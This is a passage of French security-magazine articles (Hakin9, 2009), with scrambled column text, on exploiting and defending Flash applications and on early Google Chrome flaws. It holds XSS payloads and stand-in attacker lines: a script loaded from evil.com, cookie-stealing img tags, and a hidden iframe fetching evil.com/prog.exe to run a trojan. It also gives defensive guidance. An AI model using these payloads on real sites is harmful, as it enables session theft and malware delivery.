suivante qui envoie une commande comme illustré par la requête suivante mais aussi des fichiers SWF, des clips
changeText avec un argument spécifié qui inclue et exécute un fichier de script vidéo dans les champs texte et textarea.
par une FlashVar. JavaScript sauvé sur une machine Ce qui permet un très grand nombre
distante. d'attaques possible. Considérez le code
fscommand("changeText", pour paramètrer le composant text HTML
_level0.userParam); http://test.com/movie.swf?userParam= en utilisant les données d'une source
<script src=”http://evil.com/ externe :
Le code JavaScript du Listing 1 pourrait script.js”></script>
donc résider dans un document HTML textbox.htmlText = _level0.htmlParam
pour prendre en charge les commandes Composants HTML formatés
envoyés par l'application SWF. Il prend Adobe supporte une petite partie des Une première tentative d'embarquer du
simplement en charge les arguments balises HTML qui peuvent être placées Javascript dans une image échoue, car
le lecteur Flash demande une image au
format JPEG, GIF, ou PNG.
Listing 3. Code qui utilise une variable non initialisée

if(checkCredentials()) { http://test.com/movie.swf?htmlParam=
userLoggedIn = true;
<img src=’javascript:alert(
} if(userLoggedIn) { document.cookie)’>
showCreditCardList();
} Cependant, le code suivant illustre que la
validation effectuée par le lecteur est juste
Listing 4. Exemple de code SharedObject
un test en surface. Il vérifie seulement
var so:SharedObject = SharedObject.getLocal("myObj","/a/b"); que l'attribut source donné finit par
so.data.val = “this is data”;
une chaîne de caractères jpg, ainsi en
so.flush();
ajoutant simplement un commentaire de
Listing 5. Code de réception de LocalConnection style C, nous pouvons pièger le lecteur
afin qu'il exécute les scrips dans les
var lcReceive:LocalConnection;
lcReceive = new LocalConnection(); balises <img> sans pour autant altérer
lcReceive.connect("connName"); le fonctionnement du code. Une fois que
lcReceive.allowDomain('*'); le browser à charger le fichier SWF le
function changeHTML(html:String) {
Javascript est exécuté sans l'interaction
outputBox.htmlText = html;
} de l'utilisateur et la fenêtre de dialogue
apparaît :
Listing 6. Code LocalConnection expéditeur

var lcSend:LocalConnection(); http://test.com/movie.swf?htmlParam=


lcSend = new LocalConnection(); <img src=’javascript:alert(
arg = "<img src='javascript:alert(document.cookie)//.jpg'>" document.cookie)//.jpg’>
lcSend.send("connName","changeHTML",arg);

Listing 7. Utilisation d'une expression régulière pour la validation d'une adresse email En utilisant cette méthode nous pouvons
facilement injecter du Javascript ou
function testEmail(email:String):Boolean {
VBscript dans un composant TextArea .
var emailPattern:RegExp = /([0-9a-zA-Z]+[-._+&])*[0-9a-zA-Z]+@([-0-9a-zA-
Z]+[.])+[a-zA-Z]{2,6}/; Aucun genre de validation n'existe pour
return emailPattern.test(email); les balises d'ancres (comme illustré dans
} la requête suivante). Seulement, ce type
d'attaque XSS requière l'interaction de

14 HAKIN9 1/2009
EXPLOITATION ET DÉFENSE DES APPLICATIONS FLASH

l'utilisateur. Un utilisateur doit cliquer sur le Supposez qu'un utilisateur renseigne aux fichiers locaux du système. Ainsi, les
lien afin d'exécuter le code : dans le champs username a code qui suit : opportunités de nuire sont nombreuses.

http://test.com/movie.swf?htmlParam= <a href=”asfunction:setPassword, Variables non initialisées


<a href=’javascript:alert(1)’> abc”>change the password</a> Les programmeurs PHP doivent être
click me</a> familiers avec une fonctionnalité
L'utilisateur sera averti par l'application controversée nommée register globals.
Comme mentionné précédement, les que le username/password est invalide, Elle a pour but d'injecter toutes les
balises <img> n'ont pas que la possibilité mais le code injecté par l'utilisateur variables requêtées par un POST ou GET
de charger des fichiers images. Elles sera affiché comme faisant partie de la dans l'espace des variables du script.
peuvent aussi charger des fichiers SWF. sortie HTML. Lorsque l'utilisateur clique Cette fonctionnalité dont beaucoup
On peut donc forcer le chargement sur le lien, la function setPassword de programmeurs ignorent l'existence est
d'un SWF hostile dans une application de sera invoquée changeant ainsi le maintenant désuette et sera retiré dans
confiance. Lorsque d'autres SWF doivent password en abc. Bien que le dernier PHP 6. Bien qu'il soit possible d'écrire un
être chargés, un masque devrait être utilisé exemple donné soit assez trivial, il illustre programme sûr en utilisant les registers
afin de limiter la zone d'affichage du fils parfaitement les dangers d'autoriser les globals, de nombreuses vulnérabilités ont
SWF. utilisateurs à exécuter n'importe quelle été découvertes dans les applications
Si le SWF parent échoue lors de fonction ActionScript permettant ainsi de web.
l'initialisation du masque, il est possible manipuler les données de l'application. ActionScript disposait d'une
que le fils SWF soit en train de prendre le Imaginez une vulnérabilité XSS dans une fonctionnalité similaire. Elle fut retiré
contrôle totale de la zone. Ceci pourrait application Flash qui permettrait à un dans la version 3, cependant comme
être utilisé pour compromettre l'application utilisateur malintentionné de provoquer ActionScript 2 est encore largement
de confiance. Cependant la politique de l'exécution arbitraire de fonction Flash utilisé dans la communauté Flash, il est
sécurité de Flash correctement appliquée dans un environnement de confiance. Les nécessaire de connaître son existence.
lorsque le SWF injecté vient d'un domaine fichiers SWF locaux de confiance sont N'importe laquelle des variables non
externe. en mesure de lire des fichiers locaux initialisées peut être initialisé comme
et d'envoyer des messages à n'importe une FlashVar. Cela est préférable et sans
Protocole de fonction quel serveur. ActionScript contient des danger avant qu'un programmeur oublie
ActionScript librairies riches en fonctions, incluant des d'initialiser une variable clé ou assure que
Les exemples auparvant expliqués fonctions de communication en utilisant la variable sera non défini. Considérez
utilisaient le Javascript pour effectuer des sockets et permettant aussi l'accès l'extrait de code ActionScript du Listing 3
des attaques XSS communes contre
les utilisateurs. Or, il existe un protocole
spécifique Flash nommé asfunction, qui
a pour pour effet de transformer un lien
en l'invocation d'une fonction ActionScript.
Considérez le code suivant qui appelle la
fonction locale foo avec deux paramètres
quand l'utilisateur clique sur l'ancre stoquée
dans le composant TextArea .

testBox.htmlText = “<a href=\”


asfunction:foo, value1,
value2\”>foo!</a>

Apparement, la possibilité de créer des


appels directement à des fonctions
ActionScript depuis les composants
HTML est une faille sérieuse. Considérez
la simple application Flash (Listing 2) qui Figure 2. Écran principal de SWFIntruder
accepte un username et un password
comme forme d'authentification. Lorsque
l'utilisateur échoue lors de la saisie du
mot de passe, le nom de l'utilisateur
est affiché dans le composant HTML
TextArea . Figure 3. Résultat d'un scan XSS

1/2009 HAKIN9 15
DOSSIER
qui détermine si oui ou non un utilisateur paramètres de la classe LoaderInfo, Si vous avez planifié de sauvegarder
a le droit de voir des informations ce qui rend donc les attaques contre des données confidentielles dans
confidentielles. les variables non initialisées obsolètes, un objet local partagé, alors pensez
Le programmeur compte sur le fait cependant les développeurs doivent à positionner le drapeau de sécurité
que la variable userLoggedIn est non continuer à valider les paramètres passer à true. Ce qui aura pour effet de limiter
initialisée et que sa valeur sera donc à un SWF. les accès aux SWF qui sont transmis
undefined. Cette valeur sera évaluée par HTTPS. Indépendemment de la
comme false dans la condition du Communication entre façon dont ils sont transmis, les LSO
test. Il est facile d'échapper à ce code plusieurs SWFs sont sauvegardés en texte claire sur
ActionScript 2, parce que la variable En utlisant un schéma similaire au cookie la machine du client. Il n'existe pas
userLoggedIn n'a pas été initialisée. Il des browsers, les local shared objects de classe de cryptage par défaut en
suffit de positionner userLoggedIn à true (LSOs) fournissent aux applications SWF ActionScript, mais des bibliothèques
soit dans la requête GET soit comme un une petite quantité d'espace de stockage. tierces existent et peuvent être utilisées
paramètre d'un objet à partir du HTML : Les LSO peuvent être limités à un domaine pour sécuriser les informations critiques
spécifique, un chemin local ou une contenues dans les LSO.
http://www.test.com/creditCards.swf? connexion HTTPS. Le code du Listing 4 ActionScript fournit la classe
userLoggedIn=true genère un object partagé qui peut être LocalConnection qui permet aux
utilisé par d'autres SWF sauvés en /a/b. La applications SWF fonctionnant sur
Dans ActionScript 3, les FlashVars ne sont fonction flush force l'objet à être écrit dans la même machine de directement
accessibles que par les propriétés des le fichier. communiquer entre-elles. L'une d'entre
elles doit être configuré en tant que
receiver et une autre en tant que sender.
Listing 8. Validation de l'email sans les expressions régulières
Les SWF n'ont pas forcément besoin de
function testEmailNoReg(email:String):Boolean { fonctionner dans le même navigateur,
var emailSplit:Array = email.split("@");
mais la communication est limité par
if(emailSplit.length != 2) {
return false; défaut aux SWF qui résident dans le même
} for(var i=0;i<emailSplit[0].length;i++) { domaine. Durant la phase de debug, les
if(!validChar(emailSplit[0].charAt(i))) { developpeurs ont souvent recours à la
return false;
}
fonction allowDomain pour débloquer
} for(var i=0;i<emailSplit[1].length;i++) { les restrictions de sécurité par défaut.
if(!validChar(emailSplit[1].charAt(i))) { Considérez le code du Listing 5 qui
return false;
configure une LocalConnection afin de
}
} recevoir des données.
return true; allowDomain(‘*”) est une fonction
dangereuse dans notre code en
} function validChar(char:String):Boolean {
var allowedSymbols:String = "._";
production, car il permet à n'importe quel
char = char.toUpperCase(); SWF de n'importe quel domaine d'accéder
if(allowedSymbols.indexOf(char)!=-1 || aux fonctions internes de notre application.
(char.charCodeAt(0) >= 65 &&
La meilleur façon d'utiliser l'astérisque
char.charCodeAt(0) <= 90) ||
(char.charCodeAt(0) >= 48 && est d'autoriser les SWF seulement sur
char.charCodeAt(0) <= 57)) { le domaine ou les sous-domaines. Par
return true; exemple, allowDomain(“*.test.com”)
}
permettra la communication entre
return false;
} www.test.com et mail.test.com. Le code
nécessaire pour envoyer des données en
Listing 9. Configuration sécurité convenable pour la balise HTML Object utilisant LocalConnection est montré
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" dans le Listing 6. À la place d'appeler
width="600" height="400"> la fonction connect, l'envoyeur appel
<param name="allowScriptAccess" value="never" /> simplement la fonction send avec les
<param name="allowNetworking" value="none" />
arguments et le nom des fonctions
<param name="allowFullScreen" value="false" />
<param name="movie" value="movie.swf" /> désirées.
<embed src="movie.swf" allowScriptAccess="never"
allowNetworking="none" allowFullScreen="false" width="600" height="400" Validation correcte des
type="application/x-shockwave-flash"/>
</object>
entrées
La méthode courante de validation des
entrées est de vérifier si une partie des

16 HAKIN9 1/2009
EXPLOITATION ET DÉFENSE DES APPLICATIONS FLASH

données peut être détectée par une fonction escape comme validation des affectent les politiques de sécurité. Le
expression régulière. entrées : paramètre allowScriptAccess contrôle
Une expression régulière décrit si le fichier SWF peut avoir accès au
simplement une succession de navigateToURL(“javascript: conteneur HTML. Tandis que le paramètre
caractères. ActionScript a introduit testFunction(‘” + escape( allowNetworking contrôle si les SWF
le support natif des expressions _level0.userParam) + “’)”); ont la possibilité d'utiliser l'API réseau
régulières depuis la version 3 et les d'ActionScript.
implémente comme définie dans les La fonction escape ne réussie pas à Et allowFullScreen détermine si
spécifications du langage EMCAScript. stopper les utilisateurs malicieux en sortant l'application Flash est autorisée à contrôler
Les développeurs utilisant encore de la fonction JavaScript et ainsi exécutant entièrerent l'écran.
ActionScript 2 doivent valider les leur propre code arbitraire comme l'illustre Il a trois valeurs possibles pour
données sans l'aide des expressions la requête suivante : allowScriptAccess :
régulières ou utiliser une bibliothèques
tierce comme As2lib. http://www.test.com/encode.swf? • always : Autorise le SWF à
Considérez le code suivant : userParam=’);alert(document. communiquer avec la page HTML
cookie);// sans tenir compte du domaine qui
testBox.htmlText = “<a href=’mailto: l'a chargé. Utiliser seulement cette
” + _level0.emailParam + “’> Publier du contenu avec des option si vous avez entièrement
Email me</a>” contrôles de sécurité confiance dans l'application. C'est
Tandis que les développeurs Flash le comportement par défaut dans
N'ayez pas une confiance aveugle dans doivent prendre de leur temps pour Flash Player 7 ainsi que les versions
les données renseignées par l'utilisateur, valider correctement les entrées, les précédentes,
vérifiez les avec des expressions administrateurs web peuvent positionner • sameDomain : Autorise le SWF à
régulières pour stopper les utilisateurs des contrôles de sécurité pour limiter les modifier le contenu de la page HTML
malveillants. Le code du Listing 7 donne applications Flash qui ne sont pas de seulement si il est du même domaine.
un exemple d'une fonction qui utilise confiance. Une application Flash sur www.a.com
les expressions régulières pour tester Les applications SWF peuvent être ne pourra pas modifier une page
si l'adresse email renseignée est bien incluses en tant qu'object dans les HTML située à www.b.com. C'est le
valide. pages HTML en utilisant les balises comportement par défaut de Flash
Si la migration vers ActionScript 3.0 <object><embed>. Vous pouvez spécifier Player 8 et des versions plus récentes,
n'est pas possible pour votre application, trois paramètres optionnels dans les • never: La communication entre les
alors il est quand même possible de balises <embed> ou <object> qui pages HTML et le SWF est interdite.
valider vos entrées sans expression
régulière, bien que la solution soit moins
élégante et ne soit pas compatible avec Sur Internet
les standards des RFC. Sans expression • http://livedocs.adobe.com/flash/9.0/main/flash_as3_programming.pdf – Programming
régulière, la validation utilise plusieurs ActionScript 3.0,
appels aux fonctions standards des • http://www.adobe.com/devnet/flashplayer/articles/flash_player_9_security.pdf – Adobe Flash
chaînes comme illustré dans le code Player 9 Security,
Listing 8. • http://eyeonsecurity.org/papers/flash-xss.pdf – Bypassing JavaScript Filters – the Flash!
Attack,
Si vous acceptez une entrée qui est
• http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html – Creating more
utilisée par une fonction getURL ou un secure SWF web applications,
composant text HTML, alors il convient de • http://docs.google.com/Doc?docid=ajfxntc4dmsq_14dt57ssdw – XSS Vulnerabilities in
définir le format d'entrée acceptable par Common Shockwave Flash Files,
une expression régulière et de seulement • http://cgisecurity.com/articles/xss-faq.html – The Cross Site Scripting (XSS) FAQ.
accepter les protocoles HTTP et HTTPS
comme lien valide. Attention à la fonction
escape lors de vos validation des entrées.
Comme décrit dans l'aide de Flash, la Outils gratuits
fonction escape convertie le paramètre • http://www.adobe.com/support/flash/downloads.html – Lecteur/Débuggueur Flash,
en chaîne de caractères et l'encode sous • http://www.nowrap.de/flare.html – Décompilateur Flare,
forme d'URL, où la plupart des caractères • http://flasm.sourceforge.net/ – Désassembleur Flasm,
non alphanumérique sont remplacés • http://www.as2lib.org – As2lib,
par des séquence % suivi de la valeur en • http://actioncrypt.sourceforge.net/ – Bibliothèque d'encryption Actioncrypt,
• http://crypto.hurlant.com/ – Framework Crypto As3,
hexadécimal. Considérez la ligne suivante
• https://www.owasp.org/index.php/Category:SWFIntruder – SWFIntruder.
de code qui utilise incorrectement la

1/2009 HAKIN9 17
DOSSIER
Il y a aussi trois valeurs possibles pour administrateurs la possibilité de créer comme le montre la Figure 2. Elle
allowNetworking : leur propre BBCode pour permettre présente toutes les variables non définies
aux utilisateurs de formater ou inclure ainsi que toutes les variables instanciées
• all: Le SWF est autorisé à faire un du contenu additionnel à un sujet de de l'application Flash. Un utilisateur peut
nombre illimité de connexions réseaux discussion. La plupart des administrateurs simplement sélectionner un paramètre
en utilisant les APIs réseaux, ont ajoutés des BBCodes supportant les pour tester et exécuter un set d'attaques.
• internal: Le SWF n'est pas autorisé SWF. Considérez le code HTML risqué Un exemple de résultat de scan XSS
à appeler le navigateur ou à interagir suivant pour remplacer un BBCode Flash. est disponible dans la Figure 3. Une
avec les APIs du navigateur, cependant limitation majeure de SWFIntruder est
les autres appels réseaux sont <embed src={userSWF} type=application/ qu'il supporte seulement l'analyse des
autorisés, -shockwave-flash></embed> applications Flash compilées avec les
• none : Toutes les APIs réseaux sont versions antérieurs à Flash 8 (c'est à dire
désactivées pour le SWF. Dans un environnement hostile où ActionScript 1 or 2).
vous ne pouvez pas faire confiance Les décompilateurs peuvent être très
Il y a seulement deux valeurs possibles aux SWF postés, il est impératif de utiles lors des phases d'audit de code
pour llowFullScreen , positionner explicitement les paramètres source fermé ou d'applications Flash. Un
allowNetworking , allowScriptAccess, décompilateur fournit le résultat inverse
• true : Le SWF est autorisé à prendre et allowFullScreen sur la balise à un compilateur, ainsi il transforme un
complètement l'écran. Peut être utilisé <embed> pour empêcher les applications langage bas niveau d'un SWF en un
pour exécuter des attaques de spoofing, malicieuses de faire des connexions ou langage d'un haut niveau d'abstraction.
• false : Le passage en plein écran n'est appels de scritps non souhaités. Ne vous Un décompilateur Flash va donc
pas autorisé. fiez pas aux paramètres par défaut du prendre du bytecode SWF et générer
lecteur Flash ! le code ActionScript correspondant,
Les plus populaires des applications The code HTML du Listing 9 illustre la qui est plus compréhensible pour un
message board fournissent aux configuration sécurisée. humain. Une analyse statique peut alors
être utilisée sur le code ActionScript
P U B L I C I T É Outils ainsi obtenu, dans le but de découvrir
d'analyse des failles de sécurité. Un exemple de
de sécurité décompilateur gratuit se nomme Flare.
Peu d'outils existe Comme SWFIntruder, Flare ne supporte
afin d'aider à l'audit pas ActionScript 3. Cependant, si vous
d'une application avez de l'argent à dépenser, il existe des
Flash. Stefano Di outils commerciaux qui savent générer
Paola a écrit un les fichiers FLA à partir d'applications
outil permettant ActionScript 1/2 ou ActionScript 3.
de découvrir les
vulnérabilités Conclusion
Flash cross-site Lors du développement d'applications web
scripting et cross- complexes, la plupart des développeurs
site nommé ne connaissent pas tous les risques
SWFIntruder encourus auxquelles leurs applications
(prononcez doivent faire face. S'il est facile de corriger
Swiff Intruder ). une traditionnelle faille de type XSS dans un
L'outil fournit un code quelconque, ce n'est pas aussi simple
set d'attaques sous SWF. Cependant, en suivant une
prédéfinies qui formation et en étant prudent lors du test de
peuvent être chaque valeur d'entrée, les programmeurs,
customisées les testeurs, les administrateurs web
et utilisées afin de peuvent travailler conjointement afin de
tester les failles diminuer les pertes lourdes liées aux
XSS de manière vulnérabilités dans les applications Flash.
quasi-automatique.
L'outil fonctionne
sur un serveur web Neil Bergman
Neil Bergman est un ingénieur logiciel, artiste et hacker
et est accessible white hat. Il a suivi un cursus informatique et programme
via un browser, depuis sa plus tendre enfance.
EXPLOITATION ET DÉFENSE DES APPLICATIONS FLASH

1/2009 HAKIN9 19
DOSSIER
SICCHIA DIDIER

Google Chrome
Génèse d'une révolution ?

Degré de difficulté

Depuis peu, une alternative nouvelle à nos habitudes de


navigation Web est apparue. Il s'agit du navigateur Internet
Google Chrome. Ainsi, nous venons d'introduire le thème de
notre dossier. Est-il prudent d'utiliser ce navigateur dont le
développement reste encore au stade bêta ?

L
es navigateurs Internet de qualité se des recherches globales). En plus, ce moteur
comptent sur les doigts d'une seule est aussi apprécié pour sa rapidité de
main : Internet Explorer, Mozilla Firefox, recherche et sa sobriété graphique. Selon ses
Opera, Safari, etc. Il faut bien reconnaître que propres concepteurs et employés, Google
chacun dispose de ses avantages et de ses s'est donné comme mission d'organiser
inconvénients. Généralement, tout le monde l'information à l'échelle mondiale et de la
dispose de son commentaire sur la question rendre universellement accessible et utile.
et c'est l'éternelle querelle d'église. Honnêtement, peut-on encore aujourd'hui
Un jour de 1938, le mathématicien passer une seule journée sans utiliser Google?
américain Edward Kasner se demande quel Néanmoins, Google dispose aussi d'une
nom donner au nombre formé du chiffre 1 suivi stratégie commerciale particulièrement
de 100 zéros. Il pose alors cette intéressante ambitieuse (pour ne pas dire agressive).
question à son neveu de 9 ans, en visite chez Après avoir étendu son quasi-monopole dans
son oncle. À la réflexion de Kasner, le garçon le secteur de l'indexation Internet, Google
répond un mot enfantin : google. Le terme fut cherche maintenant à conquérir le milieu de la
adopté! publicité avec AdSense, l'imagerie satellitaire
À moins d'être totalement hermétique au avec GoogleEarth, les services de messagerie
phénomène Internet de ces 20 dernières électronique avec Gmail, etc. Ajoutons
CET ARTICLE années, tout le monde connaît Google. Ainsi,
EXPLIQUE... cette application Web est (et restera encore
Les avantages du navigateur pour longtemps) le moteur de recherche par
Chrome. excellence. Néanmoins, Google est d'abord
Les inconvénients du navigateur une société fondée en 1998 par Larr y Page
Chrome.
et Serguei Brin dans la sacro-sainte Silicon
Comment exploiter les failles du Valley (Californie, USA). En 2008, ce moteur
navigateur Google.
de recherche est considéré par de nombreux
CE QU'IL FAUT analystes comme étant le moteur le plus
SAVOIR... puissant existant sur Internet : On estime
Savoir utiliser un navigateur à plus de 20 milliards le nombre de
Internet.
documents recensés comprenant images,
Des notions en langage C et
scripting Windows WSH seront
archives diverses, fichiers vidéos
un avantage. et actualités notamment (soit près de 90% Figure 1. ScreenShot du browser Chrome

20 HAKIN9 1/2009
LE NAVIGATEUR INTERNET SELON GOOGLE

maintenant le dernier accroc aux Note : Cet article a été rédigé durant
habitudes des internautes, le navigateur les mois de Septembre et Octobre 2008.
Chrome. Celui-ci fut annoncé dès début Cette indication est importante car
Septembre 2008 et compte déjà de certaines attributions ou failles ne seront
très nombreux partisans dans le monde peut être plus exploitables au moment
trépidant de l'Internet. de votre lecture. La version de Google
Google Chrome est un projet Chrome étudiée est la version bêta
partiellement Open Source. L'expression 0.2.149.27/30.
est paradoxale mais juste, si on Figure 3. Test acid2 sous FireFox
considère que ce navigateur Internet Les avantages du
fonctionne via une API sous licence navigateur Chrome Le terme est idéalement trouvé eu
BSD, comprendre Google Gears. En L'objectif de cet outil est d'optimiser égard à la vitesse d'exécution. Il
conséquence, seul les sources du la navigation Internet et de gagner embarque aussi le moteur HTML
browser Chromium sont sous licence en sécurité et discrétion. En réalité, le auparavant utilisé par le navigateur
libre, les binaires Chrome sont soumis souci principal du browser Chrome Safari (WebKit) et différentes astuces
à un contrat de licence utilisateur final est de privilégier la vitesse d'exécution glanées sur les différents navigateurs
(CLUF ou EULA en français). Le plug- et l'affichage des pages Internet. Pour que sont IE, Opera, Firefox, etc.
in Gears est un prototype logiciel qui atteindre ce compromis intéressant
permet un accession hors-ligne entre vitesse, sécurité et polyvalence, Ainsi, sans révolutionner l'industrie des
à certains ser vices Web. Ainsi, il installe les développeurs Google ont opté pour technologies nouvelles, le navigateur
un moteur de rétention des informations 4 caractéristiques principales Chrome propose une alternative
sur l'ordinateur afin de garder les et importantes : particulièrement intéressante. Encore
données localement. En d'autres termes, une fois, Google frappe fort et risque
Google Gears permet à des applications • Les onglets des différentes sessions de convertir beaucoup de monde à sa
Internet de fonctionner sans accès sont indépendants les uns des cause. Pour illustrer les aptitudes de ce
permanent au réseau mondial grâce aux autres. Ainsi, chaque navigation navigateur d'un seul regard, nous vous
informations préalablements acquises. crée un nouveau processus afin présentons un tableau récapitulatifs des
C'est un des avantages multiples de ce de gagner en vitesse (on parle différentes fonctionnalités des browsers
navigateur Internet. Présentement, nous alors de ségrégation des droits). afin d'aider chacun dans le choix de son
allons évoquer les attributs de cette Effectivement, plusieurs onglets outil. En finalité, tout n'est qu'une histoire
application. en activité ne ralentissent pas le de goûts personnels et de gadgets
système. La navigation est souple quelconques (installation par défaut).
et intuitive, notamment grâce à la Voir Tableau 1. Si on considère
présence d'une page d'accueil attentivement ce tableau (non-exhaustif
particulièrement dynamique avec et sujet à modification dans le court
miniatures des liens favoris, terme), on se rend bien compte que
• Un mode de navigation privée Chrome ne supplante pas encore le
et optionnel permet d'éviter la navigateur multi-plateforme Opera.
présence des cookies (fichiers Néanmoins, il semble déjà bien meilleur
persistants de sessions), les traces que certains de ses acolytes. En
des visites précédentes conclusion (eu égard aux nombreux
et les historiques de navigation Web. blogs qui évoquent le sujet), l'ensemble
L'opération se fait automatiquement de la communauté des internautes
lors de la clôture de l'application attend avec impatience les futurs
Chrome, implémentations, extensions et plugs-in
• Un gestionnaire avancé des tâches avant de se faire un avis solide sur cette
accorde un regard constant sur application nouvelle. L'avenir démontrera
les différents processus en activité. sans doute l'aptitude du navigateur
De cette façon, l'utilisateur peut Chrome à se frotter aux plus grands. En
contrôler la gestion mémoire et les attendant, amusons-nous un peu avec
ressources sollicitées propres au une petite liste des fonctions cachées
microprocesseur de sa machine, de Google Chrome (à commander via la
• Le navigateur Chrome effectue barre d'adresse URL) :
aussi une compilation à la volée
des scripts WSH en langage • about:cache : Liste des fichiers mis
Figure 2. Test acid2 sous Internet Explorer 7 assembleur grâce au moteur V8. en cache,

1/2009 HAKIN9 21
DOSSIER
• about:crash : Affiche l'écran relatif failles. Bien que les vulnérabilités ne pour volonté de nuire. Malheureusement,
à une panne Chrome, constituent pas une légion, elles sont il est possible d'intégrer une commande
• about:dns : Statistiques sur les particulièrement dangereuses et elles ambiguë dans une page HTML sans
résolutions DNS, permettraient de causer beaucoup de qu'elle ne soit soumise préalablement
• about:histograms : Statistiques sur tort aux utilisateurs insouciants. Nous à suggestion. Ainsi, une seule ligne
les commandes Chrome, pourrons citer 3 cas particuliers. Nous de script rudimentaire permet de
• about:memory : Etat de la mémoire évoquerons aussi chacune d'entre elles télécharger et exécuter un programme
utilisée, au travers d'intertitres distincts : dangereux comme un trojan, un
• about:network : Outil relatif au malware ou un virus encore. En réalite,
téléchargement, • Exécution automatisée de script le problème concerne l'absence de filtre
• about:plugins : Liste détaillée des WSH, sur caractères afin d'éviter les failles d'un
plug-ins installés, • Injection d'une librairie dans un type semblable aux traditionnels XSS
• about:stats : Quelques statistiques processus du browser, (cross site scripting). Voici le modèle, on
sur Google Chrome, • Débordement d'allocation mémoire. ne peut plus simple puisqu'il semblerait
• about:version : affiche la version qu'aucun caractère quelconque ne soit
de Google Chrome. Failles pseudo XSS et DoS filtré. Aucune suggestion ou autorisation
dans le navigateur Chrome n'est soumise à l'utilisateur. Aussi, on peut
Les faiblesses du Il faut bien comprendre que (pour rediriger une navigation vers un autre site
navigateur Chrome le moment) le navigateur Chrome sans devoir avertir l'internaute (attention
Néanmoins (et comme toutes les de Google ne fonctionne que sous au phishing) :
applications au stade du développement environnement Windows. De ce fait, il
premier), notre navigateur étudié embarque les processus <script>
comporte de nombreuses failles, et librairies nécessaires à l'exécution de document.write('<iframe src=
bugs et problèmes quelconques. scripts selon la société du Redmond, http://www.evil.com/prog.exe
Dès le lendemain de son lancement, comprendre WSH. En temps normal, frameborder=0 width=0 height=0'>
des pirates faisaient connaître il convient de gérer cette alternative </script>
triomphalement quelques singularités avec l'accord de l'utilisateur ou de
propres au navigateur Chrome, aussi l'administrateur réseau afin d'éviter les De la même façon, certains caractères
des méthodes afin d'exploiter ces exécutions automatisées de scripts ayant engendrent des difficultés d'interprétation
Tableau 1. Comparatif des différents navigateurs
Fonctionnalité IE7 FireFox v3 Opera v9 Chrome

Mode privé Non Oui Non Oui

Multi OS Non Oui Oui A venir

Anti Phishing Oui Oui Oui Oui

Anti PopUp Oui Oui Oui Oui

Thèmes Oui Oui Oui A venir

Extension Oui Oui Non Oui

ActiveX Oui Non Non Oui

WidGets Non Non Oui Oui

Client Mail Non Non Oui Oui

Client FTP Oui Oui Oui Non

Client IRC Non Non Oui Non

Client Torrent Non Non Oui Non

22 HAKIN9 1/2009
SecureIP Solutions
LE NAVIGATEUR INTERNET SELON GOOGLE
La sécurité de l’information est une chose importante pour les entreprises et même
pour les particuliers. C’est pourquoi SecureIP Solutions vous propose différents
produits et services pour protéger vos précieuses données tels qu’un service de
sauvegarde en ligne, les différents produits BitDefender et bien plus encore.
http://www.secureip.ca

NUMERANCE
NUMERANCE, Spécialisée dans la sécurité informatique, intervient auprès des
Petites et Moyennes Entreprises, en proposant des prestations d’audit, d’accompa-
gnement, et de formation.
http://www.numerance.fr

Hervé Schauer Consultants


Hervé Schauer Consultants : 17 ans d'expertise en Sécurité des Systèmes d'Infor-
mation Nos formations techniques en sécurité et ISO27001 sont proposées à Pa-
ris, Toulouse, et Marseille. http://www.hsc.fr/services/formations/cataloguehsc.pdf
Informations : formations@hsc.fr - +33 (0)141 409 704

TippingPoint
TippingPoint est un leader mondial dans la prévention des intrusions réseaux (Ne-
twork IPS) de 50Mbps à 10Gigabits ainsi que la vérification d’intégrité de poste et
le contrôle d’accès du réseau (NAC).
Tél : 01 69 07 34 49, E-mail : francesales@tippingpoint.com
http://www.tippingpoint.com

Sysdream
Cabinet de conseil et centre de formation spécialisé en sécurité informatique. L’e-
Pour plus de renseignement : hakin9@hakin9.org

xpérience c'est avant tout les recherches publiques, visant à améliorer la sécurité
des applications et des systèmes d’informations. Les résultats disponibles sur des
portails de recherche, dans la presse spécialisés.
http://www.sysdream.com

Cybertrust
Spécialiste mondial de la sécurité de l’information, Cybertrust offre des servi-
ces destinés à sécuriser les données critiques, protéger les identités et aider ses
clients à prouver leur conformité aux normes industrielles. Cybertrust, est l’un des
premiers fournisseurs mondiaux pour la sécurité de l’information et un leader glo-
bal sur le marché des services de gestion et supervision de la sécurité – MSS. Cy-
bertrust 54/56 Avenue Hoche 75008 Paris France Tél. : +33 (0)1 56 60 58 01
france@cybertrust.com

Micro-Services-Plus
Une équipe spécialisée dans la sécurité informatique, Spécialiste Linux depuis
1999, Groupware, sauvegarde incrémentale, FireWalls Personnalisés, VPN, sont
notre métier.
Tél : 04 74 59 78 35 Fax : 04 74 59 78 36
DÉPARTEMENT PROFESSIONNEL
http://www.micro-services-plus.org

Optik Sécurité
Une etreprise québécoise spécialisée dans le développement et l'implantation de
passerelles de sécurité et de productivité. Leurs solutions clés en main et modula-
ires de parefeu, IDS, VPN et proxy s'integreront a la pérfection dans votre réseau.
De plus, un service de gestion a distance est également disponible.
http://www.optiksecurite.com

MICROCOMS
Microcoms est une société spécialisée dans les produits Microsoft qui a pour vo-
cation d'aider les particuliers, les TPE-PME et les professions libérales sur 6 axes
principaux de l'informatique : Assister, Dépanner, Conseiller, Sécuriser, Former,
Maintenir.
Club .PRO

Tél. : 01.45.36.05.81
e-mail : contact@microcoms.net
http://www.microcoms.net

ALTOSPAM
Ne perdez plus de temps avec les spams et les virus. Sécurisez simplement vos
emails professionnels. ALTOSPAM est un logiciel externalisé de protection de la
messagerie électronique : anti-spam, anti-virus, anti-phishing, anti-scam...
Testez gratuitement notre service, mis en place en quelques minutes.
http://www.altospam.com OKTEY – 5, rue du Pic du Midi – 31150 GRATENTOUR

1/2009 HAKIN9 23
DOSSIER
sous Chrome. Le modèle % provoque un window.refresh();
simple plantage (DoS). Certes, il ne s'agit window.open("\rn\rn");
pas d'un problème majeur, mais il traduit </script>
Microsfot IE
parfaitement bien la situation ambiguë
propre au filtrage des caractères RootKit facile sous Google Firefeox
sensibles. Vous pourrez essayer Chrome
quelques variantes. Nous ajoutons aussi L'injection d'une librairie au sein d'un Safai

une fonction sur le modèle précédent processus existant est habituellement Other
about : et une chaîne de caractères trop une technique avancée afin d'intégrer
longue (considerez plusieurs milliers de un rootkit dans un système Win32/64.
caractères afin de contraindre au DoS) : Il est particulièrement intéressant de
noter que les développeurs du browser
